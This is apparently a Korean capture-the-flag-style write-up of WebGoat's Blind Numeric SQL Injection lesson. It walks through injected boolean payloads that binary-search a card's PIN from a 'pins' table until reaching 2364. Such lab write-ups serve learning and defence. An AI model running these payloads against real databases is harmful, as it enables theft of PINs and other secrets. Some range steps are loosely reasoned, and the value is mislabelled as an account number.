본문 바로가기

[Wargame Write-up]/WebGoat

[WebGoat] [Injection Flaws] Blind Numeric SQL Injection

숫자로 된 값을 알아내는 Blind SQL Injection 공격에 대해 알아보는 문제이다.




아래 쿼리처럼, 논리식을 던져, 그 응답(반응)을 기준으로 판단하는 공격이 되겠다.


추측 대입이 이루어지므로, 보통 프로그래밍하여 자동화 공격을 한다.




간단하게 아래의 쿼리를 던져, Account Number가 10000보다 큰지 보자.


101 and (select pin from pins where cc_number='1111222233334444') > 10000;


Account Number <= 10000이므로, 그보다 작은 수로 다시 던지자.




Binary Search를 하듯 값을 반씩 깎아보자.


101 and (select pin from pins where cc_number='1111222233334444') > 5000;


Account Number <= 5000이므로, 그보다 작은 수로 다시 던지자.




다음은 2500으로 해보자.


101 and (select pin from pins where cc_number='1111222233334444') > 2500;


Account Number <= 2500이므로, 그보다 작은 수로 다시 던지자.




휴... 이번엔 1250으로...


101 and (select pin from pins where cc_number='1111222233334444') > 1250;


오, 드디어 valid가 떴다. 하한선이 만들어졌다.


1250 < Account Number <= 2500




범위를 줄여야 하므로, 이번엔 하한선을 2000부터 시작하여 늘려보자.


101 and (select pin from pins where cc_number='1111222233334444') > 2000;


2000 < Account Number <= 2500




2250!


101 and (select pin from pins where cc_number='1111222233334444') > 2250;


2250 < Account Number <= 2500




2300!


101 and (select pin from pins where cc_number='1111222233334444') > 2300;


2300 < Account Number <= 2500




2400!


101 and (select pin from pins where cc_number='1111222233334444') > 2400;


2300 < Account Number <= 2400


상한선이 바뀌었다.



50 줄여서 던져보자.


101 and (select pin from pins where cc_number='1111222233334444') >= 2350;


2350 < Account Number <= 2400


하한선을 바꿀 수 있다.




2370으로 던져보자.


101 and (select pin from pins where cc_number='1111222233334444') >= 2370;


2350 < Account Number < 2370


상한선이 바뀐다.



이번엔 2360으로 던지자.


101 and (select pin from pins where cc_number='1111222233334444') >= 2360;


2360 <= Account Number < 2370


하한선이 바뀐다.



2365를 던져보자.


101 and (select pin from pins where cc_number='1111222233334444') >= 2365;


2360 <= Account Number < 2365


상한선이 바뀐다.



2363으로 던지자.


101 and (select pin from pins where cc_number='1111222233334444') > 2363;


2363 <= Account Number < 2365


하한선이 바뀐다.



남은 후보는 하나다. 2364으로 가자.


101 and (select pin from pins where cc_number='1111222233334444') >= 2364;


2364 <= Account Number < 2365


찾았다! 이 범위의 수는 딱 하나, 2364 밖에 없다.




Clear~